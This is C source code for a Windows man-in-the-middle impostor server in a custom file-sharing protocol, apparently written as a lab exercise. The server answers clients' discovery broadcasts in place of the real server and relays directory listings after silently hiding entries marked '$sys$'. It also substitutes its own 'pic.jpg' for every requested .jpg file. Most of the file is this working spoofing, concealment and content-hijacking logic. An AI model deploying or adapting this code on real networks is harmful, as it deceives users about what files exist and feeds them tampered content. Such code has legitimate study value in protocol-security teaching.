#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <TlHelp32.h>
#include <winsock.h>

#include "common.h"
#include "serverSide.h"
#include "clientside.h"

#pragma comment(lib, "Ws2_32.lib")

int gSUid;
unsigned short gServerTcpPort;


SOCKET gUdpSd;
SOCKET gTcpSd;

HANDLE gServerHelloThread;
BOOL gSendingClientHelloToRealServer;

#define SERVER_TCP_PORT_RANGE_BEGIN 50000
#define SERVER_TCP_PORT_RANGE_END	60000

#define HIJACKED_FILE_EXTENSION ".jpg\0"
#define HIJACKED_FILE_EXTENSION_IMPOSTER "pic.jpg\0"

#define EXCLUDE_MARK "$sys$\0"

void terminateServer()
{
	if (gUdpSd != INVALID_SOCKET)
	{
		closesocket(gUdpSd);
	}

	if (gTcpSd != INVALID_SOCKET)
	{
		closesocket(gTcpSd);
	}

	WSACleanup();

}

void serverHelloWorker()
{
	struct sockaddr_in client;

#pragma warning(suppress:4127) //this worker must live forever and serve TCP requests
	while(TRUE)
	{
		if (waitForClientHello(gUdpSd,gSUid,&client))
		{
				sendServerHello(gUdpSd,gServerTcpPort,gSUid,&client);
				
		}
	}
}

BOOL getRealServerIpAndPort(unsigned long* pIp, unsigned short* pTcpPort)
{
	BOOL retVal = TRUE;

	SuspendThread(gServerHelloThread);
	//try to get serve
	if (!sendClientHelloMsg(gSUid,pIp,pTcpPort))
	{
		printf("Error: unable tp reach real server\n");
		retVal = FALSE;
	}
	ResumeThread(gServerHelloThread);
	return retVal;

}
BOOL removeFileFromList(char* pFileName)
{
	return strstr(pFileName,(char*)EXCLUDE_MARK)!=NULL;
}
/*
 * this function recive file list from real server, filter every file or directory with $sys$ in it and
 * creates new fileList to be send
 */
BOOL recvFileListContent(SOCKET realServerSd,unsigned short* pElementsNumber,char** ppFileList,size_t* pContentSize)
{
	//what realloc will do no NULL pointer. act like malloc? (OK) or using the pointer content regardless its content (BAD!!)

	char listItemHeader[FILELIST_ITEM_HEADER_SIZE];
	unsigned short i;
	unsigned short itemNameLength;
	size_t contentSize = 0;
	unsigned short elementsNumber = *pElementsNumber;
	char* pItemFileName = NULL;
	char* pTempBuffer;
	char* pContent = NULL;

	//recv one item every loop iteration
	for(i = 0 ; i < elementsNumber ; ++i)
	{
		//recv item header
		if (recvTcpBuffer(realServerSd,(char*)listItemHeader,FILELIST_ITEM_HEADER_SIZE) != FILELIST_ITEM_HEADER_SIZE)
		{
			printf("Error: can't recv file list item header\n");
			return FALSE;
		}

		//extract file name length
		itemNameLength = ntohs(MEM_TO_VAL(listItemHeader+5,unsigned short));
		
		pItemFileName = (char*)malloc((itemNameLength+1)*sizeof(char));
		
		if (pItemFileName == NULL)
		{
			printf("Error: out of memory\n");
			free(pContent);
			return FALSE;
		}

		memset(pItemFileName,0x00,(itemNameLength+1)*sizeof(char));

		if (recvTcpBuffer(realServerSd,pItemFileName,itemNameLength) != itemNameLength)
		{
			printf("Error: can't recv file list item file name\n");
			free(pContent);
			free(pItemFileName);
			return FALSE;
		}

		//BONUS - check if this file should be removed from the client's answer
		if (removeFileFromList(pItemFileName))
		{
			free(pItemFileName);
			(*pElementsNumber)--;
			continue;
		}

		//prepare space for entire item
		pTempBuffer = (char*)realloc(pContent,contentSize+FILELIST_ITEM_HEADER_SIZE+itemNameLength);
		if (pTempBuffer == NULL)
		{
			printf("Error: out of memory\n");
			free(pContent);
			free(pItemFileName);
			return FALSE;
		}
		//use the enlarged memory block
		pContent = pTempBuffer;
		//copy item header
		memcpy(pContent+contentSize,listItemHeader,FILELIST_ITEM_HEADER_SIZE);
		//copy file name itself
		memcpy(pContent+contentSize+FILELIST_ITEM_HEADER_SIZE,pItemFileName,itemNameLength);
		//free the file name we used
		free(pItemFileName);
		//update total content size
		contentSize+=(FILELIST_ITEM_HEADER_SIZE+itemNameLength);

	}

	*pContentSize = contentSize;
	*ppFileList = pContent;

	return TRUE;
}

void handleFileListRequest(SOCKET sd,unsigned short pathLength)
{
	SOCKET realServerSd;								/* The socket descriptor */
	struct sockaddr_in server;				/* Information about the server */
	
	//add 1 in the end for null termination since we are printing the path
	char* pRequest = (char*)malloc((pathLength+FILELIST_REQ_HEADER_SIZE+1)*sizeof(char));
	char* pResponse = NULL;
	
	size_t requestSize = (pathLength+5)*sizeof(char);
	unsigned short numberOfElements;
	char responseHeader[FILELIST_RES_HEADER_SIZE];

	size_t fileListContentSize = 0;
	
	unsigned long realServerIp;
	unsigned short realServerTcpPort;

	int sentBytes;

	if (pRequest == NULL)
	{
		printf("Error: out of memory\n");
		return;
	}

	memset(pRequest,0x00,(pathLength+5+1)*sizeof(char));

	if (!getRealServerIpAndPort(&realServerIp,&realServerTcpPort))
	{
		return;
	}

	do
	{
	
		//prepare request header
		MEM_TO_VAL(pRequest,unsigned short) = htons(PROTOCOL_PREFIX);
		MEM_TO_VAL(pRequest+2,char) = DIR_CONTENT_REQ_MSG_ID;
		MEM_TO_VAL(pRequest+3,unsigned short) = htons(pathLength);
		//get path from client and copy it to the relayed request
		if (recvTcpBuffer(sd,pRequest+FILELIST_REQ_HEADER_SIZE,pathLength) != pathLength)
		{
			printf("[-] Error: can't read client request\n");
			break;
		}

		//send the request to the real server
		realServerSd = socket(AF_INET, SOCK_STREAM, 0);
	
	   if (realServerSd == INVALID_SOCKET)
	   {
		   printf("Error: Could not create socket.\n");
		   break;
	   }
		
	   //Clear out server struct
	   memset((void *)&server, '\0', sizeof(struct sockaddr_in));

	   //Set family and port
	   server.sin_family = AF_INET;
	   server.sin_port = htons(realServerTcpPort);

	   //Set server address
	   server.sin_addr.S_un.S_addr = realServerIp;

	   
	   if (connect(realServerSd,(sockaddr*)(&server),sizeof(server)))
	   {
		   printf("Error: can't establish TCP connection to the server\n");
		   break;
	   }

	   printf("[+] asking for directory %s content\n",pRequest+5);

	   sentBytes = sendTcpBuffer(realServerSd,pRequest,requestSize);

	   if (sentBytes != SOCKET_ERROR && (size_t)sentBytes != requestSize)
	   {
		   printf("Error: can't send file list request to real server\n");
		   break;
	   }

	   //recv filelist header
	   if (recvTcpBuffer(realServerSd,(char*)responseHeader,FILELIST_RES_HEADER_SIZE) != FILELIST_RES_HEADER_SIZE)
	   {
		   printf("Error: can't get file list response header from real server\n");
		   break;
	   }

	   //extract info from the header
	   if (MEM_TO_VAL(responseHeader,unsigned short) != htons(PROTOCOL_PREFIX) || MEM_TO_VAL(responseHeader+2,char) != DIR_CONTENT_RES_MSG_ID)
	   {
		   printf("Error: incorrect file list header\n");
	   }

	   numberOfElements = ntohs(MEM_TO_VAL(responseHeader+3,unsigned short));

	   //extract the filelist content
	   if (!recvFileListContent(realServerSd,&numberOfElements,&pResponse,&fileListContentSize))
	   {
		   printf("Error: can't recv file list content from real server\n");
		   break;
	   }

	   //fix header since there is a chance files been removed from this list
	   MEM_TO_VAL(responseHeader+3,unsigned short) = htons(numberOfElements);

	   //send header
	   if (sendTcpBuffer(sd,(char*)responseHeader,FILELIST_RES_HEADER_SIZE) != FILELIST_RES_HEADER_SIZE)
	   {
		   printf("Error: can't relay file list header to client\n");
		   break;
	   }

	   sentBytes = sendTcpBuffer(sd,pResponse,fileListContentSize); 
	   if (sentBytes != SOCKET_ERROR && (size_t)sentBytes != fileListContentSize)
	   {
		   printf("Error: can't relay file list content to client\n");
		   break;
	   }

#pragma warning(suppress:4127) //enable single exit point
	}while(FALSE);

	if (pRequest != NULL)
	{
		free(pRequest);
	}

	if (pResponse != NULL)
	{
		free(pResponse);
	}
}

BOOL relayFileRequestHeader(SOCKET realServerSd,SOCKET clientSd,size_t* pFileSize)
{
	char ansBuffer[FILE_RES_HEADER_SIZE];
	if (recvTcpBuffer(realServerSd,(char*)&ansBuffer,FILE_RES_HEADER_SIZE) != FILE_RES_HEADER_SIZE)
	{
		printf("Error: no answer from server\n");
		return FALSE;
	}

	if (!verifyIncommingFileHeader((char*)&ansBuffer,pFileSize))
	{
		printf("Error: invalid file header\n");
		return FALSE;
	}

	if (sendTcpBuffer(clientSd,(char*)&ansBuffer,FILE_RES_HEADER_SIZE) != FILE_RES_HEADER_SIZE)
	{
		printf("Error: can't send data to client\n");
		return FALSE;
	}

	return TRUE;

}

BOOL relayFileContent(SOCKET realServerSd,SOCKET clientSd,char* pFilePath,size_t fileSize)
{
	char fileContent[FILE_BLOCK_SIZE];
	int readBytes;

	printf("Transfering %s\n",pFilePath+findFileNameFromPath(pFilePath,strlen(pFilePath)));

	while(fileSize > 0)
	{
		readBytes = min(FILE_BLOCK_SIZE,fileSize);

		if (recvTcpBuffer(realServerSd,fileContent,readBytes) != readBytes)
		{
			printf("Error: can't read file content from server\n");
			break;
		}
		
		if (sendTcpBuffer(clientSd,fileContent,readBytes) != readBytes)
		{
			printf("Error: can't send file to client\n");
			break;
		}

   	    fileSize-=(unsigned short)readBytes;
	}

	return fileSize == 0;
}

BOOL relayFileFromRealServer(SOCKET clientSd,unsigned long serverIp,unsigned short serverTcpPort,char* filePath)
{
	SOCKET realServerSd;								/* The socket descriptor */
	struct sockaddr_in server;				/* Information about the server */
	BOOL retValue = FALSE;
	//this buffer contain the server uid to ip resolve request
	
	unsigned short filePathLength = (unsigned short)strlen(filePath);
	
	size_t fileSize = 0;

	do
	{
	   // Open a datagram socket
	   realServerSd = socket(AF_INET, SOCK_STREAM, 0);
	
	   if (realServerSd == INVALID_SOCKET)
	   {
		   printf("Error: Could not create socket.\n");
		   break;
	   }
		
	   //Clear out server struct
	   memset((void *)&server, '\0', sizeof(struct sockaddr_in));

	   //Set family and port
	   server.sin_family = AF_INET;
	   server.sin_port = htons(serverTcpPort);

	   //Set server address
	   server.sin_addr.S_un.S_addr = serverIp;

	   
	   if (connect(realServerSd,(sockaddr*)(&server),sizeof(server)))
	   {
		   printf("Error: can't establish TCP connection to the server\n");
		   break;
	   }
	   
	   if (!sendFileRequest(realServerSd,filePath,filePathLength))
	   {
		   break;
	   }
		
	   if (!relayFileRequestHeader(realServerSd,clientSd,&fileSize))
	   {
		   break;
	   }
		
	   if (!relayFileContent(realServerSd,clientSd,filePath,fileSize))
	   {
		   break;
	   }

	   retValue = TRUE;

#pragma warning(suppress:4127)
	}while(FALSE);
	   
	   
	if (realServerSd != INVALID_SOCKET )
	{
	   closesocket(realServerSd);
	}

	return retValue;;
}

void handleFileContentRequest(SOCKET sd,unsigned short fileNameLength)
{
	char* pFileName = (char*)malloc((fileNameLength+1)*sizeof(char));
	
	
	unsigned long realServerIp;
	unsigned short realServerTcpPort;

	size_t extensionLength = strlen(HIJACKED_FILE_EXTENSION);


	if (!getRealServerIpAndPort(&realServerIp,&realServerTcpPort))
	{
		return;
	}

	do
	{
		memset(pFileName,0x00,fileNameLength+1);
	
		if (recvTcpBuffer(sd,pFileName,fileNameLength) != fileNameLength)
		{
			printf("[-] Error: can't read client request\n");
			return;
		}

		printf("[+] asking for download %s\n",pFileName);
		

		//hijack *.jpg files
		if ((extensionLength < fileNameLength) &&
			(strncmp(HIJACKED_FILE_EXTENSION,pFileName+fileNameLength-extensionLength,extensionLength)==0))
		{
			if (!sendFileContent(sd,HIJACKED_FILE_EXTENSION_IMPOSTER))
			{
				printf("[-] can't send file to client\n");
				break;
			}
			break;
		}
		
		if (!relayFileFromRealServer(sd,realServerIp,realServerTcpPort,pFileName))
		{
			printf("[-] can't download %s from real server\n",pFileName);
			break;
		}

		
		

#pragma warning(suppress:4127) //enable single exit point		
	}while(FALSE);

	if (pFileName != NULL);
	{
		free(pFileName);
	}
}

void handleTCPConnection(LPVOID param)
{
	SOCKET sd = (SOCKET)param;
	char clientMsgPrefix[5];
	
	//read msg header
	if (recv(sd,(char*)clientMsgPrefix,5,0) != 5)
	{
		closesocket(sd);
		return;
	}

	//decide that this message is
	if (IS_FILE_LIST_REQUEST(clientMsgPrefix))
	{
		handleFileListRequest(sd,ntohs(MEM_TO_VAL(clientMsgPrefix+3,unsigned short)));
	}
	else if (IS_FILE_CONTENT_REQUEST(clientMsgPrefix))
	{
		handleFileContentRequest(sd,ntohs(MEM_TO_VAL(clientMsgPrefix+3,unsigned short)));
	}

	closesocket(sd);

}

BOOL serverMainWorker()
{
	struct sockaddr_in client;
	int client_length = sizeof(struct sockaddr_in);
	
	SOCKET newConnectionSd;

#pragma warning(suppress:4127) //this thread must live forever and serve TCP requests
	while(TRUE)
	{
		newConnectionSd = accept(gTcpSd,(sockaddr*)&client,&client_length);
		
		if (newConnectionSd == SOCKET_ERROR)
		{
			continue;
		}
		
		if (CreateThread(0,0,(LPTHREAD_START_ROUTINE)&handleTCPConnection,(LPVOID)newConnectionSd,0,NULL) == NULL)
		{
			printf("Error: unable to create TCP handler thread\n");
			break;
		}

	}

	return FALSE;
	
	/*BOOL res;
	unsigned long serverIP;
	unsigned short serverTcpPort;
	DWORD bla;
	gSendingClientHelloToRealServer = TRUE;
	SuspendThread(gServerHelloThread);
	res = sendClientHelloMsg(1487180166,&serverIP,&serverTcpPort);
	ResumeThread(gServerHelloThread);

	return res;
	*/
}

int _tmain(int argc, _TCHAR* argv[])
{
	WSADATA w;	
	
	if (argc != 2)
	{
		_tprintf(_T("Usage: %s <SID>\n"),argv[0]);
		exit(-1);
	}

	do
	{	

		gSUid =  _wtoi(argv[1]);
	

		if (gSUid == 0)
		{
			printf("Error: invalid <SID>\n");
			exit(-1);
		}

		if (WSAStartup(0x0101, &w) != 0)
		{
			printf("Error: Could not open Windows connection.\n");
			break;
		}
	
		gUdpSd = createUDPSocket(SERVER_UDP_PORT,FALSE);
	
		if (gUdpSd == SOCKET_ERROR)
		{
			printf("Error: unable to create UDP socket\n");
			break;
		}
		
		gServerTcpPort = SERVER_TCP_PORT_RANGE_BEGIN-1;

		do
		{
			++gServerTcpPort;
			gTcpSd = createServerTCPSocket(gServerTcpPort);
		}while(gTcpSd == SOCKET_ERROR && gServerTcpPort < SERVER_TCP_PORT_RANGE_END);


		

		if (gTcpSd == SOCKET_ERROR)
		{
			printf("Error: unable to create TCP socket\n");
			break;
		}

		gServerHelloThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&serverHelloWorker,NULL,0,NULL);
		if (gServerHelloThread==NULL)
		{
			break;
		}


		if (!serverMainWorker())
		{
			break;
		}

#pragma warning(suppress:4127) //enable single exit point	
	}while(FALSE);

	terminateServer();

	return -1;
}